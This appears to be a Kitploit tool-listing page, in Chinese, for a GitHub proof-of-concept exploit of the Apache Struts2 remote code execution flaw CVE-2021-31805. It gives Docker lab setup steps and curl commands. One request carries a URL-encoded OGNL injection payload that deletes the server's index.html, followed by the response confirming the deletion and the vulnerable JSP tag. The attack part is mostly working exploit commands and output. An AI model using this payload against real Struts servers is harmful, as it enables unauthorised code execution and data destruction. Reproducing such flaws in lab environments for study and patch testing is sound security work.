Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-31805 — Apache Struts2 RCE(CVE-2021-31805)的概念验证漏洞利用,包含Docker环境搭建及基于curl的利用步骤。 | Kitploit
工具/GitHubGitHub/aeyesec/cve-2021-31805
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubaeyesec/cve-2021-31805

CVE-2021-31805

Apache Struts2 RCE(CVE-2021-31805)的概念验证漏洞利用,包含Docker环境搭建及基于curl的利用步骤。

查看仓库
5144年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-31805

CVE-2021-31805(Apache Struts2)的PoC 这是CVE-2021-31805解説文章中使用的应用程序。

设置

root@kitploit:~
$ docker-compose build
$ docker-compose up -d

运行确认

访问 http://localhost:8080/struts2-showcase-2.5.29/index.html 并确认Welcome页面显示。

Exploit

root@kitploit:~
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(略)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(略)
URL解码后的值为
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
。

$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
可以确认index.html文件已被删除。

存在漏洞的代码示例

root@kitploit:~
<li><s:label id="test2" name="%{skillName}"/></li>

参考信息

  • https://cwiki.apache.org/confluence/display/WW/S2-059
  • https://cwiki.apache.org/confluence/display/WW/S2-061
  • https://cwiki.apache.org/confluence/display/WW/S2-062
  • https://securitylab.github.com/research/apache-struts-double-evaluation/
  • https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
下载工具